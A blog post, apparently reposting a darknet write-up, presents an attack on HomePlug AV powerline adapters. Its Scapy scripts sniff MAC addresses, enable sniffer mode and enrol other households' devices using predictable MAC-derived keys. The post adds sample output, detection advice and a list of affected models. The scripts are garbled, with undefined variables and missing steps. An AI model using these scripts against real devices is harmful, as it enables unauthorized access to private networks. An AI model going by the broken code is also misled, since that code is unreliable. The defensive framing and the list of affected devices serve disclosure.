First Quarter in 2017 starts off with a bang

It has been an interesting few months in 2017 and we already have seen some really massive and interesting data breaches out there. Some of the areas that breaches are being seen are more extensively in vBulletin as well as other forum based websites. Other areas that we are seeing targeted are games websites and some interesting developments in IoT platform and eBilling and eMetering areas.

IoT, BotNets and Home devices remain a focus of various types of attacks

Just recently in one of our scans on the darknet we came across an anonymous author that discussed in detail issues and challenges in using various Electric Line based Lan and WLAN based devices. The synopsis of litter found on “powerline” exploitable devices is added below this text for your review and awareness. I did not create these scripts and am adding them here so that you can test and verify them yourself. Use the info to protect currently exploitable devices and harden them (manufacturers). is a script that grabs MAC addresses from the sniffer payload captures.

In test scans there can be two locations that contain a MAC address, so the script grabs both. There will be some invalid MAC’s along with the valid ones, although they don’t negatively affect the attack, these can be filtered out.

import sys



# Import Scapy

from scapy.all import *

from scapy.utils import rdpcap



sys.path.append( ‘Scapy’)

# Import Scapy

from scapy.all import *

from scapy.utils import rdpcap



# Load the pcap

pkts=rdpcap(‘cap.pcap’)  # could be used like this rdpcap(“filename”,500) fetches first 500 pkts


for pkt in pkts:

if pkt.type == 35041:


response=’:’.join(a+b for a,b in zip(response[::2], response[1::2]))

#print response,”\n”




# Rule out the obvious IANA reserved range

if int(segments[66]) > 00 and int(segments[67]) > 00:

print “2:”,segments[66],segments[67],segments[68],segments[69],segments[70],segments[71]


if int(segments[58]) > 00 and int(segments[59]) > 00:

print “1:”,segments[58],segments[59],segments[60],segments[61],segments[62],segments[63]





triggerSniff does one thing, it puts the local HPAV device into sniffer mode. The device will then sit sending Management frames back to us, containing details of any HPAV traffic it has sniffed out.


import sys

import fcntl, socket, struct




# Import Scapy

from scapy.all import *

from scapy.utils import rdpcap


sys.path.append( ‘Scapy’)

# Import Scapy

from scapy.all import *

from scapy.utils import rdpcap


iface=’eth0′ # Which interface should we use

# Function from

def getHwAddr(ifname):

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack(‘256s’, ifname[:15]))

return ”.join([‘%02x:’ % ord(char) for char in info[18:24]])[:-1

# Enable Sniffer mode on the local HPAV device




data_list = payload.split(“:”)

# Breakdown of payload above


# ’00’ – MAC Management header (Version: 1) – they’re zero indexed

# ’34:a0′ – Sniffer type request

# ‘b0:52′ – OUI

# Build and send the packet

p = Ether()


p.dst=’00:B0:52:00:00:01′; # Only the nearest HomeplugAV device will respond

p.type=0x88e1; # HomeplugAV management frame



b = p/data

ans = srp(b,iface=iface)


The exact result/output will depend on how many STAs are in the target network, however the output of running will be similar to the following

Attempting to enrol 05:02:45:03:31:f4

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key

eth0 44:94:FC:99:8F:CD Setting …


Attempting to enrol 44:94:fc:9c:c7:44

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key

eth0 44:94:FC:99:8F:CD Setting …

Attempting to enrol 44:94:fc:9c:c7:5c

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key

eth0 44:94:FC:99:8F:CD Setting …

Attempting to enrol 91:01:02:01:06:03

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key

eth0 44:94:FC:99:8F:CD Setting …

Only two of the MAC’s above are valid, however, as a result both devices have joined my HomePlugAV network.

I’ve now achieved the same level of access to the network as I would have if I’d plugged a CAT-5 into a switch, but without requiring physical access to anything but the mains supply

Analysis of the Weakness

Why it Works

The weakness stems from the ability to enrol a device into an existing network, rather than requiring physical intervention (such as pressing the encryption button on the unit) to have it request access to a network.

The enrolment capability isn’t enough, however, to cause the weakness on it’s own.

Deriving the device’s passwords from their MAC address makes the Device Access Keys predictable. Although these devices are transparent on the ethernet network, everything you need is transmitted, in the clear, across the powerline network.

In effect, the only secret you need to join the network is being broadcast, in the clear, between devices who’s very chipset ships with a packet sniffer allowing you to capture it.


The only 100% guaranteed way to defend yourself is to stop using Powerline devices. Other than that;

There isn’t an easy way to defend yourself from this issue. Maintaining a list of authorised MAC addresses and periodically changing the encryption key (i.e. effectively running part of the attack against yourself) will temporarily knock an attacker back off your network, but as we’ve seen it’s a few seconds work for them to jump back on. It’s also worth considering that as the DAK is easily calculable, the entire key exchange mechanism is flawed and so easily comprisable.

Even if you are actively running packet analysis on your network, you’ll not see the packets generated in the initial compromise – they never leave the Powerline network.

It may be possible to reprogram the DAK on each STA, though I’ve not yet found the capability to do so.

Securing your network against unauthorized local access is perhaps the best form of defence, an attacker would then need to breach whatever security measures you’d put in place on networked systems.

Impact of an Intrusion

Aside from the obvious issues inherent in them gaining physical network access, the attacker now has an increased level of access to your powerline devices.

The ones I’ve been using are simple layer-2 devices, however they are flash-able, so it’s not inconceivable that someone more advanced than me could adjust a system image to implement an IP stack and start sending data off-network (or use UPnP to create an entry point) – removing the need for continued network proximity.

Some versions of the firmware appear to allow the erasure of NVRAM, so an attacker could, also, simply brick the target devices.

Detecting an Intrusion

How detectable an attacker would be at the network level will obviously depend on their behavior, so, ignoring any unusual network traffic they may be generating – we can ask our Powerline devices who they’re networked with. If we don’t recognize a MAC address that appears, we’ve got an intrusion

ampstat -m -i eth0

NID 96:F8:C2:58:B5:BC:05 SNID 013

STA TEI 003 MAC 44:94:FC:99:8F:CD BDA 00:1B:A0:CF:87:18

CCO TEI 001 MAC 44:94:FC:9C:C7:44 BDA B8:27:EB:0B:EE:DB TX 089 RX 127

STA TEI 002 MAC 44:94:FC:9C:C7:5C BDA 80:1F:02:8D:5F:52 TX 374 RX 375

In this case, I launched the attack from 44:94:FC:99:8F:CD, so would consider that address to be unauthorized. The second MAC address in each row is the first bridged device (i.e. the device plugged into the powerline adaptor)

Affected Devices (identified so far)

  • ON Networks PL-500 Range (Qualcomm AR7420 chipset)
  • Solwise NET-PL-200AV-MINI-TWIN
  • Unbranded Adapter Model 7HP120 (Looks like a rebranded 7inova 7HP120 though)
  • Comfast CF-WP500M
  • ASUS PL-X52P
  • IcyBox IB-PL550
  • TP-Link AV200 TL-PA2010
  • TP-Link TL-PA211
  • TP-Link TL-PA251

Possibly not Affected

The following models have DAKs that aren’t derived (or are derived differently) from the MAC address

  • Devolo DLAN-200-AV
  • Devolo DLAN 500 Duo+
  • Solwise NET-PL-200-AV-PUSH
  • Solwise PL-200AV-3PE